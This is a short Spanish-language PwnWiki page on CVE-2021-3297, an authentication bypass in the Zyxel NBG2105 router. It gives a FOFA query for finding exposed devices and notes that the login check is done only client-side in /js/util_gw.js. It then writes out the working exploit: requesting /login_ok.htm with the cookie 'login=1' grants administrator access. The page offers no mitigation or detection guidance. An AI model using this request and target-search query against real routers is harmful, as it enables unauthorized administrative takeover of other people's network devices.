CVE-2021-3297 Zyxel NBG2105 vulnerabilidad de omisión de autenticación

From PwnWiki
This page is a translated version of the page CVE-2021-3297 Zyxel NBG2105 身份驗證繞過漏洞 and the translation is 100% complete.
Other languages:
Chinese • ‎English • ‎español • ‎中文(繁體)‎

Impacto de la vulnerabilidad

Zyxel NBG2105


FOFA

app="ZyXEL-NBG2105"

Xnip2021-04-06 09-32-28.jpg


El archivo de front-end /js/util_gw.js tiene la verificación de front-end del parámetro Cookie login.

Si solicita lo siguiente, será redirigido a la página home.htm como administrador.


http://xxx.xxx.xxx.xxx/login_ok.htm

Cookie: login=1;


Xnip2021-04-06 09-36-42.jpg